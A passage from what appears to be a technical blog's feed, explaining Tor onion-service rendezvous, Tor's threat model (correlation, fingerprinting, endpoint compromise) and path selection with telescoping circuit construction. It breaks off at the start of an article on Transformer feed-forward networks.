&lt;p&gt;A &lt;strong&gt;circuit&lt;/strong&gt; is a logical path through multiple Tor relays. In the basic model, we use three positions, or &lt;strong&gt;hops&lt;/strong&gt;, on each side. A hop is a position in the path; it is not necessarily a relay distinct from every other position in the diagram.&lt;/p&gt;
&lt;p&gt;The service already maintains circuits to several &lt;strong&gt;introduction points&lt;/strong&gt;. An introduction point is a relay that can deliver an initial request to it. The client obtained their coordinates from the onion descriptor, the temporary document described in the previous article.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;rendezvous point&lt;/strong&gt;, abbreviated RP, has a different job: it receives two circuits, associates them, and forwards cells between them. It is not an exit to the Internet.&lt;/p&gt;
&lt;h2&gt;The Client Prepares the Meeting Place First&lt;/h2&gt;
&lt;p&gt;The client chooses a suitable relay as the rendezvous point and builds a dedicated circuit to it. Construction proceeds from the first relay to the RP; the client does not open a direct connection to the central relay.&lt;/p&gt;
&lt;p&gt;It then generates a &lt;strong&gt;rendezvous cookie&lt;/strong&gt;, an ephemeral random 20-byte value, and sends it to the RP with &lt;code&gt;ESTABLISH_RENDEZVOUS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The RP associates that cookie with the waiting circuit and replies with &lt;code&gt;RENDEZVOUS_ESTABLISHED&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The cookie is a tag used to match two circuits. It is not the session&apos;s final cryptographic key and does not by itself prove the service&apos;s identity.&lt;/p&gt;
&lt;h2&gt;The Client Opens a Second Circuit&lt;/h2&gt;
&lt;p&gt;At this point, the client already has a circuit to the RP. It builds another, separate circuit to one of the introduction points listed in the descriptor.&lt;/p&gt;
&lt;p&gt;Over this second circuit it sends &lt;code&gt;INTRODUCE1&lt;/code&gt;. The message carries, in a form protected for the service:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the rendezvous cookie;&lt;/li&gt;
&lt;li&gt;the information needed to reach the RP;&lt;/li&gt;
&lt;li&gt;the client&apos;s contribution to the subsequent cryptographic handshake.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A &lt;strong&gt;handshake&lt;/strong&gt; is an exchange through which two participants verify cryptographic material and derive shared keys. Here, the client prepares its half before a complete logical link to the service exists.&lt;/p&gt;
&lt;p&gt;The introduction point checks that the request corresponds to an active introduction circuit. It then forwards the same contents to the service as &lt;code&gt;INTRODUCE2&lt;/code&gt; and replies to the client with &lt;code&gt;INTRODUCE_ACK&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The acknowledgement says only that the request was forwarded or that an error occurred. It does not mean that the service has already reached the RP.&lt;/p&gt;
&lt;h2&gt;The Introduction Point Does Not Open the Client&apos;s Message&lt;/h2&gt;
&lt;p&gt;The fields needed to manage the introduction session are visible as defined by the protocol. The payload intended for the service, however, remains opaque to the introduction point.&lt;/p&gt;
&lt;p&gt;The service receives &lt;code&gt;INTRODUCE2&lt;/code&gt; and verifies that the message is intact, addressed to the correct keys, and not a reuse of a previous request. This &lt;strong&gt;replay&lt;/strong&gt; check prevents an old recorded and resent introduction from automatically being treated as new.&lt;/p&gt;
&lt;p&gt;Only the service can decrypt the payload and obtain the cookie, RP coordinates, and handshake material. It can accept or reject the request. Receiving &lt;code&gt;INTRODUCE2&lt;/code&gt; does not require it to build a circuit.&lt;/p&gt;
&lt;h2&gt;The Service Reaches the Relay Chosen by the Client&lt;/h2&gt;
&lt;p&gt;If it accepts, the service builds its own circuit to the rendezvous point specified by the client. This half also crosses intermediate relays: the service does not connect directly to the RP.&lt;/p&gt;
&lt;p&gt;When the circuit is ready, the service sends &lt;code&gt;RENDEZVOUS1&lt;/code&gt;. The message contains the cookie and its part of the handshake.&lt;/p&gt;
&lt;p&gt;The RP looks for a waiting client circuit with the same cookie. If it finds one, it associates the two circuits and forwards the service&apos;s information to the client through &lt;code&gt;RENDEZVOUS2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The RP has matched two tags. It has not authenticated the service, nor has it obtained the end-to-end keys.&lt;/p&gt;
&lt;p&gt;&amp;lt;OnionRendezvousMachine /&amp;gt;&lt;/p&gt;
&lt;h2&gt;The Client Verifies That the Correct Service Is on the Other Side&lt;/h2&gt;
&lt;p&gt;The client verifies that &lt;code&gt;RENDEZVOUS2&lt;/code&gt; completes &lt;strong&gt;hs-ntor&lt;/strong&gt;, the handshake used by onion services and begun with &lt;code&gt;INTRODUCE1&lt;/code&gt;. It uses its ephemeral key and the service keys obtained from the authenticated descriptor. The link to the onion address runs through that descriptor and the &lt;strong&gt;subcredential&lt;/strong&gt;, a periodic value derived from the service identity and blinded key: the identity key does not directly sign &lt;code&gt;RENDEZVOUS2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If the handshake is valid, the client and service derive shared keys and digests. These keys create an additional &lt;strong&gt;virtual hop&lt;/strong&gt; between the two endpoints.&lt;/p&gt;
&lt;p&gt;It is virtual because it does not correspond to a sixth server. It is an end-to-end cryptographic layer added over the two existing Tor circuits.&lt;/p&gt;
&lt;p&gt;The per-hop protections of both circuits remain. The virtual hop does not replace them; it additionally protects the complete logical segment between client and service, including passage through the RP.&lt;/p&gt;
&lt;h2&gt;After the Join, the Relevant Path Changes&lt;/h2&gt;
&lt;p&gt;The circuit the client used for &lt;code&gt;INTRODUCE1&lt;/code&gt; does not carry rendezvous application data. After a positive &lt;code&gt;INTRODUCE_ACK&lt;/code&gt;, the client should close it and not reuse it for other purposes.&lt;/p&gt;
&lt;p&gt;The service can keep its introduction circuit to receive requests from other clients. But that circuit does not belong to the newly created stream.&lt;/p&gt;
&lt;p&gt;Data instead travels along the client-to-RP circuit, crosses the rendezvous point, and continues over the RP-to-service circuit. The RP forwards relay cells without removing the virtual-hop protection.&lt;/p&gt;
&lt;p&gt;There is no public exit on this path.&lt;/p&gt;
&lt;h2&gt;A Note on the Diagram&lt;/h2&gt;
&lt;p&gt;In the teaching model with three hops per side, the rendezvous point occupies the last position in both circuits. The diagram therefore shows six positions but five distinct relays, because the RP is shared. Neither side uses an exit.&lt;/p&gt;
&lt;p&gt;The count only helps us read the diagram. The important property is different: client and service build separate paths to the same RP. The number is not universal. Vanguards-Lite, for example, adds a middle relay to the service-side rendezvous circuit; other overlays or layers can change the topology without changing this logic.&lt;/p&gt;
&lt;h2&gt;The Rendezvous Point Does Not Know the Content, but It Observes Traffic&lt;/h2&gt;
&lt;p&gt;The virtual hop prevents the RP from terminating the end-to-end protection between client and service. The relay does not directly receive their original IP addresses through the two circuits.&lt;/p&gt;
&lt;p&gt;The RP still knows an important local fact: it has associated two circuits. It can observe when cells arrive, which direction they travel, and how much traffic passes.&lt;/p&gt;
&lt;p&gt;Encrypting content does not eliminate timing and volume.&lt;/p&gt;
&lt;p&gt;The rendezvous therefore solves a very specific problem. It lets two endpoints converge on a relay without opening a direct connection and without entrusting the communication keys to that relay. It does not make every traffic property invisible, and it does not protect an already compromised device.&lt;/p&gt;
&lt;p&gt;We now have every component of a Tor path, both toward the Internet and toward an onion service. We can finally ask precisely what each participant knows and which combination of observations can break the separation.&lt;/p&gt;
&lt;h2&gt;Technical Sources&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Introduction and meeting.&lt;/strong&gt; Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/rend-spec/introduction-protocol.html&quot;&gt;The introduction protocol&lt;/a&gt;, opening, “Sending an INTRODUCE1 message,” and “Processing an INTRODUCE2 message”; &lt;a href=&quot;https://spec.torproject.org/rend-spec/rendezvous-protocol.html&quot;&gt;The rendezvous protocol&lt;/a&gt;, “Establishing a rendezvous point,” “Joining to a rendezvous point,” and “Key expansion.”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Virtual hop and variants.&lt;/strong&gt; Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/rend-spec/encrypting-user-data.html&quot;&gt;Encrypting data between client and host&lt;/a&gt;, shared keys and virtual hop; &lt;a href=&quot;https://spec.torproject.org/vanguards-spec/vanguards-lite.html&quot;&gt;Vanguards-Lite&lt;/a&gt; and &lt;a href=&quot;https://spec.torproject.org/vanguards-spec/full-vanguards.html&quot;&gt;Full Vanguards&lt;/a&gt;, design sections; &lt;a href=&quot;https://spec.torproject.org/proposals/333-vanguards-lite.html&quot;&gt;Proposal 333 — Vanguards-Lite&lt;/a&gt;, implemented topology.&lt;/p&gt;
&lt;p&gt;Online specifications consulted August 14, 2026. Legacy sections and the Single Onion Service case do not belong to the anonymous version 3 model followed in this article.&lt;/p&gt;
</content:encoded></item><item><title>Who Knows What: Where Tor&apos;s Promise Ends</title><link>https://didof.dev/blog/tor-threat-model/</link><guid isPermaLink="true">https://didof.dev/blog/tor-threat-model/</guid><description>A concrete threat model that distinguishes direct knowledge, correlation, application content, fingerprinting, and endpoint compromise.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import TorThreatModelExplorer from &quot;@/components/blog/tor/TorThreatModelExplorer.astro&quot;;&lt;/p&gt;
&lt;p&gt;“No Tor node knows both the user and the destination.”&lt;/p&gt;
&lt;p&gt;That is a good summary of the design. It is not yet a threat model.&lt;/p&gt;
&lt;p&gt;The sentence describes what a single relay directly receives in the basic circuit. It does not say what happens when two relays cooperate, when an observer sees both ends, when the browser gives an identity to the site, or when the device is already compromised.&lt;/p&gt;
&lt;p&gt;To understand where Tor&apos;s promise ends, we must stop asking only “am I anonymous?” The useful question is more precise: which property do I want to hide, from which observer, and under what conditions?&lt;/p&gt;
&lt;h2&gt;First: Separate Five Properties&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;client IP address&lt;/strong&gt; indicates the network connection from which traffic originates. The &lt;strong&gt;destination&lt;/strong&gt; is the server or service the client wants to reach.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;application identity&lt;/strong&gt; is what the user or browser communicates within the application: an account, email address, web cookie, or another identifier.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Content&lt;/strong&gt; includes exchanged requests, messages, and data. &lt;strong&gt;Traffic metadata&lt;/strong&gt; instead includes timing, direction, and amounts observable even when content is encrypted.&lt;/p&gt;
&lt;p&gt;Protecting one property does not automatically protect the others.&lt;/p&gt;
&lt;h2&gt;The Basic Circuit Distributes Direct Knowledge&lt;/h2&gt;
&lt;p&gt;Consider an Internet-bound circuit: client, guard, middle, exit, and site.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;guard&lt;/strong&gt;, the first relay, directly receives the client&apos;s connection. It therefore knows the client&apos;s IP address and the next relay, but the protocol does not give it the final destination.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;middle&lt;/strong&gt; knows the relays adjacent to its segment. It directly receives neither the client&apos;s IP address nor the external destination.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;exit&lt;/strong&gt; opens the connection to the site. It knows the destination and the data needed to reach it, but the circuit does not directly give it the client&apos;s original IP address.&lt;/p&gt;
&lt;p&gt;The site receives a connection from the exit. It can read application data addressed to it and any identity supplied by the user, but it does not directly receive the client&apos;s IP address through the circuit.&lt;/p&gt;
&lt;p&gt;This is &lt;strong&gt;direct knowledge&lt;/strong&gt;: information delivered to that actor by the protocol or local connection. It does not yet include what can be inferred by combining observations.&lt;/p&gt;
&lt;h2&gt;One Point and Two Ends Are Not the Same Adversary&lt;/h2&gt;
&lt;p&gt;A local-network observer can see the client connect to a guard or bridge. It does not automatically see which site will emerge at the other end.&lt;/p&gt;
&lt;p&gt;An exit can see the destination, timing, and volume of the external connection. It does not automatically receive the origin.&lt;/p&gt;
&lt;p&gt;But if the same adversary controls or observes relevant points near both ends, it can compare patterns. A packet sequence entering at one time and a compatible sequence leaving shortly afterward can support a correlation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Collusion&lt;/strong&gt; occurs when distinct participants share their observations. &lt;strong&gt;Correlation&lt;/strong&gt; is the inference that links flows using characteristics such as timing and volume.&lt;/p&gt;
&lt;p&gt;Tor does not promise complete protection against a global observer capable of seeing and correlating both relevant ends with sufficient precision. “Global” does not mean magic or omniscience; it describes observational reach much broader than that of a single relay.&lt;/p&gt;
&lt;p&gt;Correlation is not automatic identification. Resolution, position, traffic duration, noise, and adversary capability determine how linkable the two flows are.&lt;/p&gt;
&lt;p&gt;&amp;lt;TorThreatModelExplorer /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Circuit Encryption Ends at the Exit&lt;/h2&gt;
&lt;p&gt;For Internet-bound traffic, Tor protects the path from client to exit. After the exit, the connection continues to the site.&lt;/p&gt;
&lt;p&gt;If the application uses plaintext HTTP, a malicious exit can observe or modify content within the limits of the application protocol.&lt;/p&gt;
&lt;p&gt;If the browser uses correctly authenticated HTTPS, Transport Layer Security (TLS) creates separate protection between browser and site. The exit still knows the destination needed for the connection and can observe local metadata, but cannot freely read or rewrite protected HTTP content.&lt;/p&gt;
&lt;p&gt;Tor and TLS therefore solve different problems. Tor separates the client&apos;s location from the destination through the path. TLS protects application content between browser and site.&lt;/p&gt;
&lt;h2&gt;An Account Can Reveal Identity Without Revealing Location&lt;/h2&gt;
&lt;p&gt;Suppose we open Tor Browser and sign in to a personal account.&lt;/p&gt;
&lt;p&gt;The site receives the identity associated with the account because we provide it through the application. Tor can continue hiding the original IP address, but it cannot prevent the site from reading a username intentionally sent to it.&lt;/p&gt;
&lt;p&gt;Saying “you are no longer anonymous” would be too vague. The site may know the declared identity while still not directly knowing the network location. The two properties can remain separate.&lt;/p&gt;
&lt;p&gt;The same applies to cookies, forms, uploaded documents, and other application data. The path cannot erase information the endpoint receives as part of its function.&lt;/p&gt;
&lt;h2&gt;Two Different Kinds of Fingerprinting&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Website fingerprinting&lt;/strong&gt; tries to recognize activities or destinations from traffic patterns: observable sizes, timing, directions, and sequences.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Browser fingerprinting&lt;/strong&gt;, by contrast, uses attributes exposed by the browser or device, such as combinations of capabilities, configurations, and behaviors observable by the site.&lt;/p&gt;
&lt;p&gt;The two techniques can work together, but they are not synonyms. The first analyzes the network flow; the second distinguishes the client through the application interface.&lt;/p&gt;
&lt;p&gt;In both cases, the outcome depends on the available signals, defenses, and points the adversary can observe.&lt;/p&gt;
&lt;h2&gt;A Compromised Endpoint Sees Before or After Tor&lt;/h2&gt;
&lt;p&gt;The Tor path begins when an application correctly hands traffic to the Tor client. It ends when the data reaches the intended application endpoint.&lt;/p&gt;
&lt;p&gt;Malware, browser exploits, misconfiguration, or applications that bypass the proxy can observe or send data outside that path. A compromised program can read content before encryption or learn the user&apos;s identity directly on the device.&lt;/p&gt;
&lt;p&gt;This does not mean the circuit was decrypted. It means the adversary moved the observation point beyond the boundary the circuit protects.&lt;/p&gt;
&lt;h2&gt;At the Rendezvous, the Roles Change—not the Method&lt;/h2&gt;
&lt;p&gt;An onion connection does not use a public exit. Client and service build circuits to a shared rendezvous point.&lt;/p&gt;
&lt;p&gt;The RP associates the two circuits and observes timing, volume, and the pair&apos;s local relationship. But it does not directly receive the endpoints&apos; original addresses and does not terminate the cryptographic virtual hop between client and service.&lt;/p&gt;
&lt;p&gt;Here too, we must specify capability. An isolated RP, a client-side guard, a service-side guard, and an external observer possess different information. Combining them without declaring collusion would create a new adversary, not a property of a single relay.&lt;/p&gt;
&lt;h2&gt;A More Serious Way to Say “Tor Protects”&lt;/h2&gt;
&lt;p&gt;Every claim about Tor&apos;s security should complete five fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;property: IP address, destination, identity, content, or pattern;&lt;/li&gt;
&lt;li&gt;observer: relay, site, local network, multiple participants, or endpoint;&lt;/li&gt;
&lt;li&gt;observed points: entry, exit, application, or device;&lt;/li&gt;
&lt;li&gt;direct information: what arrives without inference;&lt;/li&gt;
&lt;li&gt;attack condition: collusion, correlation, absence of TLS, or compromise.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At that point, the phrase “no node knows everything” becomes useful again. It describes the initial distribution of knowledge. The threat model explains which capabilities must be added to reassemble it.&lt;/p&gt;
&lt;p&gt;Tor&apos;s security does not arise from a total absence of information. It arises from the cost and conditions required to connect information that the protocol delivers separately.&lt;/p&gt;
&lt;h2&gt;Technical Sources&lt;/h2&gt;
&lt;p&gt;Dingledine, Mathewson, and Syverson, &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html&quot;&gt;Tor: The Second-Generation Onion Router&lt;/a&gt; (“Threat Model,” “Attacks and Defenses”); Tor Project Support, &lt;a href=&quot;https://support.torproject.org/about-tor/security/attacks-on-onion-routing/&quot;&gt;Attacks on onion routing&lt;/a&gt; (traffic confirmation), &lt;a href=&quot;https://support.torproject.org/tor-browser/security/using-tb-safely/&quot;&gt;Tor Browser best practices&lt;/a&gt; (accounts and endpoints), &lt;a href=&quot;https://support.torproject.org/tor-browser/features/fingerprinting-protections/&quot;&gt;Fingerprinting protections&lt;/a&gt; (browser), &lt;a href=&quot;https://support.torproject.org/about-tor/security/https-encryption-and-tor/&quot;&gt;HTTPS encryption and Tor&lt;/a&gt; (boundaries); Wang and Goldberg, &lt;a href=&quot;https://petsymposium.org/popets/2016/popets-2016-0027.php&quot;&gt;On Realistically Attacking Tor with Website Fingerprinting&lt;/a&gt;, &lt;em&gt;PoPETs&lt;/em&gt; 2016(4); Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/rend-spec/rendezvous-protocol.html&quot;&gt;The rendezvous protocol&lt;/a&gt; (“Joining”). Consulted August 14, 2026.&lt;/p&gt;
</content:encoded></item><item><title>Three Relays, but Not Three Random Relays</title><link>https://didof.dev/blog/tor-path-selection-circuits/</link><guid isPermaLink="true">https://didof.dev/blog/tor-path-selection-circuits/</guid><description>How the Tor client chooses a path and then turns it, one hop at a time, into a usable circuit.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import TorPathBuilder from &quot;@/components/blog/tor/TorPathBuilder.astro&quot;;&lt;/p&gt;
&lt;p&gt;Suppose we want to open &lt;code&gt;example.com&lt;/code&gt; on port 443 through Tor.&lt;/p&gt;
&lt;p&gt;In the basic model, the final path will look like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client → guard → middle → exit → site&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The order seems to suggest that the client chooses the guard first, then the middle, and finally the exit. For a normal three-hop exit circuit, Tor does something less intuitive: &lt;strong&gt;it selects the exit first, then the guard, and finally the middle&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Yet when it is time to actually build the circuit, the guard is the first relay contacted. The exit, chosen first, is reached last.&lt;/p&gt;
&lt;p&gt;Why choose first something that we will reach last?&lt;/p&gt;
&lt;p&gt;Because the exit must satisfy the constraint imposed by the destination. &lt;strong&gt;Selection&lt;/strong&gt; resolves this constraint first and establishes which relays will occupy the three positions. &lt;strong&gt;Construction&lt;/strong&gt;, by contrast, starts from the only relay the client can reach directly and turns that decision into a usable circuit.&lt;/p&gt;
&lt;h2&gt;The Starting Point Is Not the Entire Internet&lt;/h2&gt;
&lt;p&gt;In the previous part of the series, the client obtained and verified the &lt;strong&gt;consensus&lt;/strong&gt;: the signed map of the network jointly produced by the directory authorities. It also has the microdescriptors referenced by the consensus. Together, these documents provide a current list of relays and the information needed to evaluate them, including identities, flags, policies, parameters, and weights. A &lt;strong&gt;flag&lt;/strong&gt; is a consensus label that indicates a relay&apos;s eligibility or restriction.&lt;/p&gt;
&lt;p&gt;That map does not contain a path assigned to the user. It contains candidates and rules. The client applies that information locally when it needs to build a new circuit.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;path&lt;/strong&gt;, at this stage, is only an ordered sequence of relays selected in the client&apos;s memory. No new connection to the selected relays has been opened yet.&lt;/p&gt;
&lt;h2&gt;When a New Circuit Is Needed, the Exit Must Be Compatible&lt;/h2&gt;
&lt;p&gt;A request does not always require a new circuit. Tor can attach the stream to an already open, compatible circuit, or use a circuit built in advance based on recently requested ports. When it must build a new one for pending or anticipated requests, it first chooses an exit capable of supporting them.&lt;/p&gt;
&lt;p&gt;To leave the Tor network, the last relay must be willing to open the requested connection. Every potential exit publishes an &lt;strong&gt;exit policy&lt;/strong&gt;: a set of rules that accepts or rejects combinations of addresses and ports.&lt;/p&gt;
&lt;p&gt;Our example needs port 443, normally used by HTTPS. The client must therefore discard relays that cannot support that request. If it already has the destination&apos;s IP address, it can compare the address and port with the policy. If it still has only the site&apos;s name, it can choose an exit likely to support that port; name resolution will happen later.&lt;/p&gt;
&lt;p&gt;The destination therefore imposes a constraint on the last position. If we chose the other relays first, we might reach the end and discover that no compatible exit completes that path. Tor starts with the component that has the most specific requirement.&lt;/p&gt;
&lt;p&gt;The client does not necessarily choose the relay with the most bandwidth, nor does it draw every candidate with equal probability. It uses &lt;strong&gt;weighted&lt;/strong&gt; random selection. Measured transport capacity and the coefficients published in the consensus—the &lt;em&gt;bandwidth weights&lt;/em&gt;—change the probability of selection for that position.&lt;/p&gt;
&lt;p&gt;The weight is not a vote of trust. It distributes traffic in a way that reflects capacity and the relative availability of the different roles.&lt;/p&gt;
&lt;h2&gt;The Guard Is Not Forgotten After Every Circuit&lt;/h2&gt;
&lt;p&gt;The guard occupies the first position and, in the standard model without bridges, is the only relay to which the client connects directly.&lt;/p&gt;
&lt;p&gt;For precisely this reason, Tor does not treat the guard as a new independent draw from the whole network for every request. The client maintains a set of guards sampled from relays carrying the &lt;code&gt;Guard&lt;/code&gt; flag, the label that makes them entry candidates. It applies bandwidth and weights, then keeps a small preferred group within this set: the &lt;strong&gt;primary guards&lt;/strong&gt;. Whenever possible, it builds new circuits using one of these previously selected and still usable entries.&lt;/p&gt;
&lt;p&gt;If a primary guard is unreachable or no longer eligible, the client can try another. This does not mean “one guard forever.” It means avoiding needless rotation for every new circuit.&lt;/p&gt;
&lt;p&gt;The reason is structural: every new entry relay directly receives a connection from the client. Reducing &lt;em&gt;guard churn&lt;/em&gt; limits how often the client exposes this relationship to new entries.&lt;/p&gt;
&lt;h2&gt;The Middle Must Be Compatible with the Other Two&lt;/h2&gt;
&lt;p&gt;The middle position remains. It too is chosen using weighted probabilities, but drawing any relay from the list is not enough.&lt;/p&gt;
&lt;p&gt;For most standard paths, the client avoids using the same relay twice. It also applies constraints to avoid combining relays that declare themselves part of the same &lt;strong&gt;family&lt;/strong&gt;, for example because the same operator manages them. It also avoids choosing multiple relays within the same network prefix—that is, within groups of IP addresses considered too close under the applicable rule.&lt;/p&gt;
&lt;p&gt;These checks reduce clearly unfavorable paths. They do not prove that operators or infrastructure are truly independent: the client can apply only the available information and rules.&lt;/p&gt;
&lt;p&gt;At this point the path is complete:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chosen guard → chosen middle → chosen exit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But the order in which the client made the decisions was:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exit → guard → middle&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;TorPathBuilder /&amp;gt;&lt;/p&gt;
&lt;p&gt;For now, the path exists only in the client. The exit was not contacted first. It has not been contacted at all.&lt;/p&gt;
&lt;h2&gt;Construction Starts with the Guard&lt;/h2&gt;
&lt;p&gt;To turn the chosen sequence into a circuit, the client must reach the first relay. It opens, or reuses, a &lt;strong&gt;channel&lt;/strong&gt; to the guard.&lt;/p&gt;
&lt;p&gt;A channel is an authenticated connection between two adjacent participants in the Tor network, typically protected by Transport Layer Security (TLS). Channel TLS protects that single link between neighbors. It is not the same as HTTPS between browser and site, and it does not replace the keys the client will establish with each relay in the circuit.&lt;/p&gt;
&lt;p&gt;Over the channel, the client sends the guard a &lt;code&gt;CREATE2&lt;/code&gt; message. Guard and client complete a &lt;strong&gt;handshake&lt;/strong&gt;: an exchange from which both derive the cryptographic material needed for the two directions of that segment. A position traversed at a relay is called a &lt;strong&gt;hop&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;There is now a one-hop circuit:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client ⇄ guard&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;The Client Reaches the Middle Through the Guard&lt;/h2&gt;
&lt;p&gt;The client does not open a direct connection to the middle. Instead, it sends an &lt;code&gt;EXTEND2&lt;/code&gt; message through the partially built circuit.&lt;/p&gt;
&lt;p&gt;The message tells the guard which relay should become the new endpoint. The guard opens, or reuses, a channel to that middle and forwards the creation request. The new handshake passes through the guard but establishes cryptographic material between the client and the middle.&lt;/p&gt;
&lt;p&gt;The result is a two-hop circuit:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client ⇄ guard ⇄ middle&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The guard must know the adjacent relay to which it should forward the extension. This does not give it a copy of the entire future path.&lt;/p&gt;
&lt;h2&gt;The Same Mechanism Adds the Exit&lt;/h2&gt;
&lt;p&gt;For the third hop, the client sends another &lt;code&gt;EXTEND2&lt;/code&gt;. This time the message crosses the guard and middle. The middle, now the endpoint of the partial circuit, opens or reuses a channel to the exit and forwards the request.&lt;/p&gt;
&lt;p&gt;The client thus completes a third, separate handshake:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client ⇄ guard ⇄ middle ⇄ exit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The circuit has grown one hop at a time. This property is called &lt;strong&gt;telescoping construction&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;“Telescoping” does not mean that the client opens three direct network connections. The client&apos;s direct connection ends at the guard. Subsequent links exist between adjacent relays; the circuit handshakes, however, let the client obtain distinct cryptographic material with the guard, middle, and exit.&lt;/p&gt;
&lt;p&gt;Layered encryption will be applied using these already established relationships. Before the onion, then, there are three separate steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the consensus provides the candidates;&lt;/li&gt;
&lt;li&gt;the client locally chooses a complete path;&lt;/li&gt;
&lt;li&gt;the client builds that path from the first hop to the last.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Not Every Circuit Has an Exit to the Internet&lt;/h2&gt;
&lt;p&gt;So far we have followed a circuit for a normal website. Tor also builds &lt;strong&gt;internal circuits&lt;/strong&gt;: the last relay remains inside the Tor network and need not provide an exit to the Internet. Onion services use internal circuits, but not every internal circuit serves an onion service; purpose, length, and constraints can vary.&lt;/p&gt;
&lt;p&gt;One rule remains common: the client first decides which path satisfies the purpose, then builds it through adjacent relays.&lt;/p&gt;
&lt;p&gt;The phrase “Tor chooses three random relays” therefore loses precision. Randomness operates within filtered pools, with weighted probabilities, persistent guard state, and constraints between relays. Construction instead follows the already chosen path and extends it from the guard to the last hop.&lt;/p&gt;
&lt;p&gt;The circuit now exists. The next question is no longer which relays compose it, but &lt;strong&gt;what actually crosses those links when the browser opens one or more streams—that is, logical application flows&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Technical Sources&lt;/h3&gt;
&lt;p&gt;Tor Specifications: &lt;a href=&quot;https://spec.torproject.org/path-spec/path-selection-constraints.html&quot;&gt;Path selection and constraints&lt;/a&gt; (opening, “Universal constraints,” weights, and exits); &lt;a href=&quot;https://spec.torproject.org/path-spec/when-we-build.html&quot;&gt;When we build&lt;/a&gt; (preemptive and on-demand circuits, and reuse); &lt;a href=&quot;https://spec.torproject.org/path-spec/attaching-streams-to-circuits.html&quot;&gt;Attaching streams to circuits&lt;/a&gt; (stream-to-circuit attachment); &lt;a href=&quot;https://spec.torproject.org/guard-spec/guard-selection/index.html&quot;&gt;Entry Guard Selection&lt;/a&gt; (primary guards and other hops); &lt;a href=&quot;https://spec.torproject.org/tor-spec/channels.html&quot;&gt;Channels&lt;/a&gt; (definition); &lt;a href=&quot;https://spec.torproject.org/tor-spec/creating-circuits.html&quot;&gt;Creating circuits&lt;/a&gt; (steps 1–6, &lt;code&gt;CREATE2&lt;/code&gt;, &lt;code&gt;EXTEND2&lt;/code&gt;); &lt;a href=&quot;https://spec.torproject.org/dir-spec/client-operation.html&quot;&gt;Client operation&lt;/a&gt; (live consensus). Consulted August 14, 2026. The text describes the standard exit circuit used in the example.&lt;/p&gt;
</content:encoded></item><item><title>What a Feed-Forward Network Does Inside a Transformer</title><link>https://didof.dev/blog/what-feed-forward-network-does-in-transformer/</link><guid isPermaLink="true">https://didof.dev/blog/what-feed-forward-network-does-in-transformer/</guid><description>Follow one contextualized token through expansion, activation, contraction, and a residual path, then see why Transformer FFNs hold so many parameters.</description><pubDate>Thu, 13 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;&lt;/p&gt;
&lt;p&gt;Attention gets almost all the fame. It finds which earlier words matter, moves information between tokens, and produces the diagrams with the colorful lines.&lt;/p&gt;
&lt;p&gt;Then attention ends, and the Transformer block is still not finished.&lt;/p&gt;
&lt;p&gt;Each token now carries a representation shaped by its context. The representation for “bank” can differ between “river bank” and “investment bank.” Yet collecting the relevant context is not the same as turning it into a useful update. Another large sublayer does that work: the &lt;strong&gt;feed-forward network&lt;/strong&gt;, or &lt;strong&gt;FFN&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The clean mental model is this: attention mixes information across token positions; the FFN transforms each resulting position independently.&lt;/p&gt;
&lt;p&gt;That sentence is useful, but it is not a border wall. Attention also contains learned projections, and the whole stack contributes to the model&apos;s computation. Still, the distinction exposes the job that disappears when every Transformer explanation stops at attention.&lt;/p&gt;
&lt;h2&gt;What leaves attention?&lt;/h2&gt;
&lt;p&gt;A Transformer does not pass words between its layers. It passes vectors, lists of numbers with a fixed length called the model dimension.&lt;/p&gt;
&lt;p&gt;Before attention, the vector at one position contains the model&apos;s current representation of that token. Attention compares positions and combines projected information from the positions that matter. Its output at each position is another vector of the same model width, now changed by context.&lt;/p&gt;
